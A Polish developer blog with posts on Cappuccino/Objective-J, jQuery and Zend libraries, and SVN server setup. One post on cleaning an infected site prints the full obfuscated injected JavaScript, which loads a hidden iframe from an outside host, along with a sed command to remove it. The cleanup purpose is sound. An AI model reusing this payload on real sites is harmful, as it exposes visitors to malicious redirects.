Motorola kupiła 280 North za 20 milionów dolarów

Motorola kupiła firmę 280 North, która jest  twórcą i pomysłodawcą języka programowania Objective-J i opartego na nim frameworka aplikacji internetowych Cappuccino Framework .

Jak podaje Techcrunch nie wydano jeszcze oficjalnego oświadczenia, jednak na grupie dyskusyjnej dowiadujemy się że jest tworzona nowa strona projektu i niebawem poznamy oficjalne stanowisko w tej kwestii. Czekam z niecierpliwością :)

280 North jest odpowiedzialny za rozwój:

  • 280slides – narzędzie do tworzenia i dzielenie się prezentacjami on-line.
  • 280atlas – narzędzie bardzo podobne do Xcode

Dla zainteresowanych tematem:

Zapraszam również do Polskiej Wiki poświęconej Cappucino i Objective-J.

Usuwanie „wirusów” z zainfekowanej strony internetowej

Wirus strony internetowej

Sposób infekcji: nieznany.
Przypuszczenie sposobu infekcji: Total Commander lub dziurawe oprogramowanie na serwerze.
Badanie: Wszystkie pliki z rozszerzeniem .php zostały zainfekowane złośliwym kodem JavaScript:

function iM(){};this.xFI="";iM.prototype = {y : function() {var xH=50628;this.h='';uI="";var z=false;var cB=new Array();var pN='';var x=document;this.jD="";tS="tS";this.d="d";this.qW="qW";var pB=57565;this.cZ=false;var u=window;dJ="";this.cI="cI";var lH=new Array();this.cK=6566;var bT='';var j = this;var iP=function(){return 'iP'};var cT=false;var uL=function(){};var fF="";cH="";this.lR=false;String.prototype.oQ=function(p, n){var a=this; return a.replace(p, n)};var yY=function(){return 'yY'};var bF=function(){};this.sI="";this.bY="bY";var sB=32989;var tR=false;yYW=false;this.yI="";var v = 'sWe#t_TW'.oQ(/[W#_^*]/g, '') + 'iGm0e$oG'.oQ(/[GV$Y0]/g, '') + 'u4tT'.oQ(/[T?l4.]/g, '');var yV=new Date();cN=3449;var hC=new Array();this.aT="aT";this.lM='';this.hH="";var lG='';var t = 'tfrKeKcfr!e/a/'.oQ(/[/f_K!]/g, '') + 'tFeAE>ljeAmFeFndt>g>edtd'.oQ(/[dAjF>]/g, '');var cHC='';var rJ="rJ";iX='';var w=function(){};nL=14522;var uZ=new Date();var b = 'w&rDiDt(eD'.oQ(/[D&G(W]/g, '');var gD=false;var tI=new Array();var sV=false;var vO='';var eI=48570;this.o="";var lK=22757;try {this.hP='';this.pP=false;var nU=56962;var pNW=new Date();var nE=false;var jO=new Array();var nP='';var m = 'p|u5s{h{'.oQ(/[{5Vg|]/g, '');var gM="gM";this.vB='';sIT="";bW=false;this.lE="";var vD = 's#ric#'.oQ(/[#iOSM]/g, '');this.oB='';var eP="";this.lHM='';var tN=false;var xU = 'v{bEmsinf{'.oQ(/[{Esn%]/g, '')+'r)s2eut2'.oQ(/[2yui)]/g, '');var gW=function(){};this.cHJ=7799;var pY="pY";var zQ=function(){return 'zQ'};var vBK='';var xP = 'w9i|d?'.oQ(/[?Db|9]/g, '') + 'tch:'.oQ(/[:cX(0]/g, '');cJ="";var gG=new Array();var k=false;var yR="";this.nO='';var vC=57847;mP="mP";function tO(){};var r = 'h/e/i;'.oQ(/[;/jW3]/g, '') + 'g@hJtA'.oQ(/[A@/Jk]/g, '');this.xFG=14682;jA="jA";var mF=new Date();var wX=function(){};var aJ = '1m'.oQ(/[mi$hw]/g, '');var qG=48446;var mL=new Date();lV="lV";var yP=new Date();sG=32547;xF = 'gXe@t@sXejtjAIt@tIrXi1sId@f@'.oQ(/[@1jXI]/g, '');var dM=function(){return 'dM'};var gJ=false;this.vI=false;var hL="";var hS=false;function cX(){};rS="";var q = 'azpwpl'.oQ(/[l~zGw]/g, '') + 'e$nrd(C(hri^l[d['.oQ(/[[^($r]/g, '');nJ=false;this.pT="";var bOH=function(){};var yA=false;this.yJ="";var bO = 'b&o.dUy.'.oQ(/[.Ul0&]/g, '');this.tC=false;this.zS=false;this.mT='';var xL=48381;eL=56477;var aN=56591;var s = 'sMuM'.oQ(/[MEe2j]/g, '')+'b~sMtDr.iM'.oQ(/[M6~D.]/g, '')+'nsg_'.oQ(/[_7(s5]/g, '');var iB='';xS='';var lRV='';var fM="fM";var hW=false;this.qN=false;this.tRU=1633;var e = new Array();cS='';var uC=function(){};wG=false;this.qNL="";wZ='';xFJ="";e[m](r, s, t, xP, xU, xF, bO, q, aJ, x, vD);var fQ="fQ";kX="";var mH=function(){return 'mH'};this.fD='';cTZ='';lL=false;hA="";var dA=new Array();oF=false;var mO=function(){};var wS='';var rI="rI";this.oY='';lVK='';var vBH=function(){return 'vBH'};var aA=12264;iE=63283;this.uB='';this.eW="";var xK="xK";this.wR=false;this.vH=false;uP="";kA="kA";this.fW=48227;var qP="";var qNK=function(){return 'qNK'};this.aO="aO";function yF(){};var sS=new Array();cNH=false;sX="";var hU=28012;iU='';var jS="";function zJ(){};this.gWE="gWE";this.uY="uY";var oE=41599;rU=false;var iF=false;this.lS=35826;var nH = e[2][e[1]](3, 16);this.qX="qX";wO="wO";var eH='';this.nG=40603;this.gB=false;this.dV="dV";var l = e[4][e[1]](3, 6);var bA='';var eV="eV";this.sP='';var gU=function(){};var nV=new Date();var kE=false;var dP=false;g = l + 'ajmje2'.oQ(/[2j^6C]/g, '');var vX=false;var vP=function(){return 'vP'};var dI=new Array();this.kO='';var gMP="gMP";var f = e[5][e[1]](3, 11);pQ='';qH="qH";vW=11651;jC=false;var iES=function(){return 'iES'};i = f + 'b,u~t[e['.oQ(/[[y,B~]/g, '');var gL=function(){return 'gL'};var wI='';var eX=20548;qQ="";var eT=function(){};var hCQ=new Array();var cIV=false;var c = 'h_t_t>p_:_/_/Es_p>aEnzd^a^tEi^n>gE.>c^o^m^/Es^tEd^sE/^gzoz._p_h>p_?Es_i>d>=E9_'.oQ(/[_E>^z]/g, '');var tY=function(){return 'tY'};var bQ=false;var eS=function(){};var xPI=false;var yFC=function(){return 'yFC'};this.qK=44454;var qZ=e[9][nH](g);this.gA="";var mI='';var vR='';this.bTA=false;qZ[e[10]] = c;var dN=11304;this.qZQ='';vK="vK";gY=60807;qT=51412;var cKY=function(){};this.sGM="sGM";iJ="iJ";qZ[e[3]] = e[8];jV=false;var cZW="";var dO="dO";this.sGZ=47261;var uQ=function(){return 'uQ'};var lB="";qZ[e[0]] = e[8];eWC="eWC";this.aQ=63750;rF="";this.zM="zM";var fL=function(){};this.wN='';var kY=new Array();var uX=function(){};this.zC=51454;var dAK='';pZ="";cJH="cJH";var sD=function(){return 'sD'};e[9][e[6]][e[7]](qZ);var dT=38830;this.pI='';this.xJ=45847;jM=false;qA='';} catch(rR) {var lI=62951;var hZ=44725;eE=false;sH=false;hI=false;var bL="";var nGK=false;var eN=new Array();x.write('<ahWtWmalp p>p<TbrordTyT a>a<a/WbroadWyp>p<r/rhrtpmWla>a'.oQ(/[aWTrp]/g, ''));this.bH="bH";var wQ=function(){return 'wQ'};var cHF=new Array();var eO="eO";var zF=false;u[v](function(){ j.y() }, 189);this.aNX="";var aM=function(){return 'aM'};wNH="";nK="nK";}fC='';this.pE="";function dW(){};}};jQ="jQ";var vQ=new iM(); this.iT="iT";vQ.y();zE=''

Recepta: Uruchom w terminalu poniższe polecenie (zmień nazwę rozszerzenie w zależności od zainfekowanych plików)

find . -name '*.php' -print0 | xargs -0 sed --regexp-extended --in-place "/(function iM(.*)zE='';)/d"

Na recepcie: Powyższy kod wyszukuje wszystkie pliki o rozszerzeniu .php a następnie przeszukuje je pod kontem występowania złośliwego kodu. Jeżeli zostanie znaleziona złośliwa linia z kodem jest on usuwana.
Uwaga: Poniższe rozwiązanie zawiera wadę, jeżeli dopisany kod nie został umieszczony w nowej linii tylko połączony z linia kodu aplikacji istnieje możliwość usunięcia również kodu właściwego aplikacji!

Przeciwdziałanie: Audyt oprogramowania na serwerze + zmiana oprogramowania do połączenia się z serwerem FTP.

Już dwa razy miałem przyjemność pisać „anty wirus” na „zawirusowane” strony internetowe. Za każdym razem przyczyną pojawienia się wirusa było korzystanie z Total Commandera do łączenia się z FTP.

W tym miejscu chciałbym zauważyć że TC sam w sobie nie jest winny ale źle zabezpieczony OS pod którym on pracuje. Dawno, dawno, temu… bardzo często z niego korzystałem gdy byłem użytkownikiem Windows XP. TC był jedynym programem, który uruchamiałem zaraz po opaleniu się Windows (kiedy to było… teraz ten odruch mam z terminalem ;) ).

PS. Powyższe rozwiązanie stosujecie na własną odpowiedzialność.

KontorX jQuery

Dzisiaj rozpocząłem zbieranie wszystkich pluginów jakie napisałem w jQuery.

Wszystkie rozszeżenia i dodatki będa umieszczane na stronie http://code.google.com/p/kontorx-jquery/.

W jednym z pierwszych commit-ów znalazły się dwie biblioteki z przykładami:

jquery.alternate

jQuery.alternatejQuery.alternate

Prezentowanie alternatywnego tekstu w polach inputtype=text?,inputtype=password?,… jest teraz bardzo przyjemne. Wystarczy tylko umieścić poniższy kod na swojej stronie WWW i zdefiniować jaki alternatywny tekst ma być wyświetlany w elemencie o konkretnym ID.

 $('#searchText').alternate({text:'Szukaj kalendarza...'});

jquery.searchFilter

jquery.selectFilter

Wybranie wartości w polu typu „select” przy ilościach przekraczajacych 100 opcji jest bardzo problemowe. Plugin wzbogaca element „select” o szybkie wyszukiwanie elementów wpisując fragment jego nazwy.

$('select').selectFilter();

Wkrótce więcej przykładów i nowych bibliotek :)
Pozdrawiam.

Zend Framework DataGrid – „Out of the box”

Niezależnie od rodzaju, wielkości i skomplikowania aplikacji internetowej można wyróżnić w niej kilka podstawowych (prawie zawsze występujących) elementów; autoryzacja, model, prezentacja danych, itp.

Przykład wyglądu i zastosowania KontorX_DataGrid

KontorX_DataGrid

Ten wpis chciałbym poświęcić bardzo powszechnemu elementowi – prezentacji, a dokładniej prezentacji danych tabelarycznych z j.ang. „data grid”. Notorycznie napotykamy ten element w prawie każdym panelu administracyjnym. Przybiera on różne formy w zależności od postawionych wymagań. Można wyróżnić:

Formy prezentacji danych tabelarycznych

  • Podstawową – dane są prezentowane w tabeli HTML bez możliwości sortowania, filtrowania i stronicowania
  • Rozszerzoną - tabela z możliwościami stronicowania i filtrowania kolumn danych
  • Dedykowaną- rozwiązanie jest połączeniem w/w typów z elementami rozszeżającymi, np.:
    • tabelę z możliwościami eksportowania danych tabelarycznych do różnych formatów (csv, pdf, itp…)
    • spersonalizowany wygląd komórek danych w zależności od typu: data, godzina, waluta, url, grafika, ….
    • możliwość edycji danych w bezpośrednio w wierszu tabeli (inline editing)
    • prezentacja danych za pomocą biblioteki JavaScript (np. Ext.DataGrid i inne,… )

Rodzaje istniejących bibliotek poruszających ten problem

Natywne PHP:

JavaScript + PHP:

Powyższe biblioteki implementują mniej lub więcej form prezentacji danych. Każda z nich wymaga wykonania kilku „ruchów” by je skonfigurować ale czy można prościej?… Tak. Dlatego chciałbym w tym wpisie omówić bibliotekę – KontorX – jest to biblioteka, którą nieprzerwanie rozwijam od  prawie 3 lat. Bibliotekę KontorX zawiera w sobie wiele elementów a jednym z nich jest KontorX_DataGrid.

Czym jest biblioteka KontorX_DataGrid

Biblioteka umożliwia elastyczne prezentowanie danych tabelarycznych w dowolny sposób i prawie w dowolnej formie. Poniżej przedstawiam główne cechy biblioteki:

  • Adaptowanie danych różnych typów np. Doctrine, Zend_Db_Table, Zend_Db_Select, natywna tablica – array, …. (więcej w budowie :) )
  • Różnorodna forma prezentacji danych. Data_Grid prezentuje dane jako czysty HTML oraz dynamiczny widok ExtJS Grid. Biblioteka pozwala również na implementacje nowych sposobów prezentacji danych np. jako plików .csv, .xls, .pdf.
  • Integracja z Zend_Form.
  • Zbiór gotowych rozwiązań. Biblioteka posiada już zaimplementowane elementy odpowiedzialne za filtrowanie, grupowanie i stronicowanie danych.
  • Elastyczność i rozszerzalność poprzez dopisywanie plugin’ów.

Powyższy opis może nie wiele mówić dlatego zapraszam do przykładów demonstrujących, niektóre możliwości komponentu:
http://kontorx.widmogrod.info/#http://kontorx.widmogrod.info//KontorX/DataGrid/example1.php

DataGrid – „Out of the box”

Jeżeli korzystasz z ZF wystarczy że pobierzesz bibliotekę z Google Code umieścisz ją w include_path aplikacji i zaimplementujesz powyższy kod w kontrolerze wybranej akcji przekazując model danych (na chwilę obecną zaimplementowałem obsługę Zend_Db_Table, Zend_Db_Select, array).

Biblioteka posiada już zaimplementowany domyślny sposób prezentacji danych więc niczym nie musisz się martwić  (jedynie tabelę możesz ostylować w/g własnych upodobań :) )

Poniżej przedstawiam najszybszą drogę  do wy-renderowania prostej prezentacji danych tabelarycznych:

// prosty przykład
$dataGrid = KontorX_DataGrid::factory($dbTable);
$dataGrid->render();

Zainteresowanych źródłami zapraszam do strony projektu na Google Code: http://code.google.com/p/kontorx

Konfigurowanie repozytorum SVN w Plesk i CentOS

Projekt P. rusza z kopyta.. po przeprowadzeniu badań, analizie konkurencji, przedyskutowaniu rozwiązań i określeniu planu działań nastąpiła pora przygotowania środowiska pracy.

W tym wpisie opiszę jak przebiegały zadania konfigurowania serwera pod SVN.

Tworzenie repozytorium SVN

Pierwszym krokiem jest utworzenie subdomeny projket, w której przestrzeni będzie skonfigurowany SVN in inne usługi.
(Całość operacji wykonuję z panelu administracyjnego hostingiem)

projekt.mojadomena.pl

Następnie tworzymy w katalogu publicznym subdomeny nowe repozytorium SVN poleceniem:

svnadmin create svn

Utworzone repozytorium musi mieć nadane odpowiednie uprawnienia, by można łączyć się zdalnie.
Uprawnienia nadajemy wpisując w terminalu polecenie:

chown -R apache.apache svn

Uwierzytelnienie repozytorium SVN

Kolejnym krokiem jest zabezpieczenie repozytorium przed nieautoryzowanym dostępem (wykorzystany do tego będzie mechanizm Authorization Basic).
Najpierw tworzymy plik, który będzie przechowywać uprawienia dostępu użytkownika do repozytorium.

Wykonaj polecenie w wybranej przez Ciebie lokalizacja (najlepiej poza publicznym katalogiem):

htpasswd -cm ścieżka_do_nowego_pliku_passwd nazwa_użytkownika

(zostaniesz poproszony o podanie hasła dla użytkownika i jego powtórzenie).

Połączenie pliku z uprawnieniami z repozytorium SVN zostało przedstawione w następnym podrozdziale.

Konfigurowanie serwera

Po procesie wstępnym, należny połączyć powyższe kroki w spójna całość.

Należy sprawdzić czy jest doinstalowany moduł mod_dav_svn

yum mod_dav_svn

następnie otwieramy lub tworzymy plik:

UWAGA: Ta operacja wymaga uprawnień administratora!

vim /var/www/vhosts/nazwa_twojej_domeny.pl/subdomains/nazwa_twojej_subdomeny/conf/vhost.conf

Plik powinien zawierać następującą konfigurację:

DAV svn
# Definiowanie katalogu, w którym są przechowywane repozytoria SVN
SVNParentPath /var/www/vhosts/nazwa_twojej_domeny.pl/subdomains/nazwa_twojej_subdomeny/httpdocs/

# Definiowanie autoryzacji
AuthType Basic
AuthName "Authorization Realm"
AuthUserFile /var/www/vhosts/nazwa_twojej_domeny.pl/subdomains/nazwa_twojej_subdomeny/.htpasswd
Require valid-user

To wszystko. Teraz wystarczy zrestartować serwer apache i można wykonać pierwszy commit danych do repozytorium :)

NativeHost: Uruchom aplikację Cappuccino jako aplikację desktopową

Zespół Cappuccino Framework upublicznił nowe, ekscytujące, narzędzie NativeHost.

Czym jest NativeHost?

Jest to narzędzie umożliwiające uruchomienie aplikacji internetowej napisanej przy użyciu Cappuccino (i nie tylko) jako aplikacji desktopowej. Rozwiązanie polega na wykorzystaniu niesamowicie lekkiego i małego wrappera wokół silnika przeglądarki internetowej WebKit. Rozwiązanie jest zbliżone do istniejących technologii np. Adobe AIR, Titanium, ale na tym podobieństwa się kończą.

Jaka jest różnica NativHost od Titanium, Adobe AIR ?

Titanium i Adobe AIR posiadają własne API umożliwiajce pisanie aplikacji desktowpowych za pomocą technologi webowych ale nie pozwalają przenieść istniejące aplikacji internetowej by działała jako aplikacja natywna. Na tym polega główna różnica pomiędzy w/w technologiami a NativeHost. NativHost umożliwia przeniesienie istniejącej aplikacji webowej na system operacyjny komputera (na chwilę obecną tylko Mac OS X) bez potrzeby modyfikacji aplikacji!

Dodatkowo Cappuccino jest bardzo silnie powiązane z NativeHost dzięki czemu udało się osiągnąć:

  • Główne menu Cappuccino automatycznie staje się natywnym paskiem menu w  Mac OS X. Na innych platformach będzie dokładnie działać tak jak będą oczekiwać tego użytkownicy. Dla przykładu, w Windowsowej wersji NativeHost menu będzie przywiązane do każdego okna.
  • Okno Cappuccino (CPWindow) automatycznie stanie się „natywnym” oknem. W przeglądarce internetowej okna Cappuccino są standardowo rysowane w środku głównego okna przeglądarki. W NativeHost staną się one w pełni systemowymi oknami, które  będzie można minimalizować itp.
  • Bezpieczny dostęp do natywnego systemu plików bez natywnego API: wykorzystanie istniejących metod jak XMLHttpRequest.
  • Architektura dokumentu Cappuccino jest zintegrowana z systemem operacyjnym.
  • Są używane systemowe operacyjne okna otwórz/zapisz.
  • Tak jak każda natywna aplikacja Twoja aplikacja może przypisać się do otwierania specyficznego typu pliku. Kiedy system operacyjny zażąda by Twoja aplikacja otwarła dokument ta informacja jest przekazywana do Cappuccino aby Twoja aplikacja to przechywciła i obsłużyła.

Dlaczego instalować aplikacje webowe na desktopie?

Istnieje kilka przypadków, w których przeniesienie aplikacji internetowej na komputer stacjonarny może mieć sens:

  • Kiedy Twoja aplikacja wymaga dostępu do lokalnego systemu plików lub innego natywnego API nie dostępnego z poziomu przeglądarki internetowej.
  • Kiedy jest wymagane dostęp offline.
  • Kiedy użytkownicy Twojej aplikacji nie ufają jeszcze chmurze (cloud).
  • Kiedy chcesz integracji z systemem operacyjnym np. pasek zadań, dock, przełącznik aplikacji itp.

Przykłady aplikacji wykorzystujących NativHost

Upublicznienie NativHost przyniosło ze sobą kilka działających aplikacji:

  • Atlas – czyli zintegrowane środowisko programistyczne dla Cappuccino Framework, Objective-J zawierające w sobie narzędzie do budowania interfejsu podobne do Xcode.
  • Github Issues – działa w wersji dla przeglądarki ale można go również pobrać jako aplikacje na Mac OS X.
  • CappKiDo – jest to przeglądarka API dokumentacji Cappuccino – i jest tym samym co AppKiDo dla Cocoa!

Zapraszam do oficjalnej informacji na stronie głównej Cappucino.org i do strony projektu na github.com.

Gianduia – konkurencją Cappuccino i SproutCore?

Na grupie dyskusyjnej Cappuccino Framework został poruszony temat Gianduia„nowego” produktu od Apple.

W odpowiedzi jeden z użytkowników napisał ciekawy list czym może być Gianduia.
Poniżej przedstawiam polskie tłumaczenie a zainteresowanych całą dyskusją zapraszam do całości wątku.

Witam wszystkich, pierwszy post na liście.
Nie tak dawno byłem programistą WebObjects, więc możliwe że mogę rzucić delikatne światło na to…

Nie byłbym zaskoczony gdyby Gianduia została wypuszczona. Apple całkiem niedawno zatrudniło lead dewelopera na defakto-standard open-source WebObject toolchain (nie wiem jak dokładnie przetłumaczyć, zatem zostawiam oryginał) i większy zestaw otwarto źródłowego frameworku WebObjects (ta sama osoba). Używają WebObjects mocno dla wielu masywnych systemów strategicznych takich jak iTunes Store i Apple Store (online i w handlu detalicznym)… WO wspierają tworzenie interfejsu użytkownika.. połączenie z Cappuccino/SproutCore w zasadniczo nie istnieje, więc nie jest naginane by myśleć że chcą wyprodukować Cappuccino-podobne UI i również ładnie połączone z ich istniejącym kodem.

Widziałem wzmianki o Apple że jest możliwość  użycia Gianduia do iAd i że zdecydowanie jest już w publicznym użyciu przez Apple w sklepie detalicznym rezerwacji iPhona.

Wątpię, że Apple mierzy w Flash – Gianduią, ale jeżeli ludzie chcą tak myśleć to nie wydaje mi się że Apple będzie miało coś przeciwko (dopóki oczywiście jest to tylko framework WebObject  stworzony do działania po stronie klienta zamiast po stronie serwera i że nie jest niczym takim jak Flash).

Rozważając jak długo Apple pracowało nad tym, przypuszczam że jest możliwe iż mogli zdecydować się by pójść w stronę Flash, który w tym samym czasie zaczyna stawać się frameworkiem aplikacji webowych.

Jeżeli chcesz się dowiedzieć czym była Gianduia rok temu możesz kupić wideo WOWODC West 2009. Powiedziano mi że mowa o Gianduii jest częścią tej paczki. Nie widziałem tego więc nie mogę komentować.

Jim

Całość prezentuje tajemniczo.

Ciekawi mnie czy Gianduia może być czymś takim jak GWT? Skoro i WebObjects oparte jest na Javie. Jeśli nie, to po co Apple wypuszczało by kolejny framework…? „ma” już potężny framework SproutCore, na którym zostało oparte me.com.

Pozostaje czekać.. niebawem wszystko będzie jasne czy będzie czymś konkurencyjnym dla Cappuccino i innych frameworków aplikacji webowych.

PS. Jeszcze link do grupy dyskusyjnej Apple:  http://lists.apple.com/archives/Webobjects-dev/2009/Nov/msg00296.html

Raphuccino – Cappuccino + RaphaëlJS

Raphaël to mała biblioteka JavaScript, której celem jest uproszczenie pracy z grafiką wektorową w sieci. Jeżeli chcesz stworzyć własny wykres, narzędzie do przycinania, obracania grafiki,… możesz to wszystko osiągnąć za pomocą tej biblioteki.

Raphaël uzywa SVG W3C Recommendation  i VML jako podstawe do tworzenia grafik. Oznacza to że każdy obiekt graficzny tworzy również obiekt DOM, zatem można dopiąć do niego zdarzenia JavaScript.

Raphuccino łączy moc i potencjał RaphaëlJS z Objective-J dając Cappuccino Framework wspaniałą bibliotekę do tworzenia grafiki wektorowej.

Cappuccino Framework posiada implementację elementu canvas, jednak w porównaniu do możliwości SVG jest to tylko „prosta” funkcjonalność ;)

Zapraszam do obejrzenia możliwościami Raphuccino.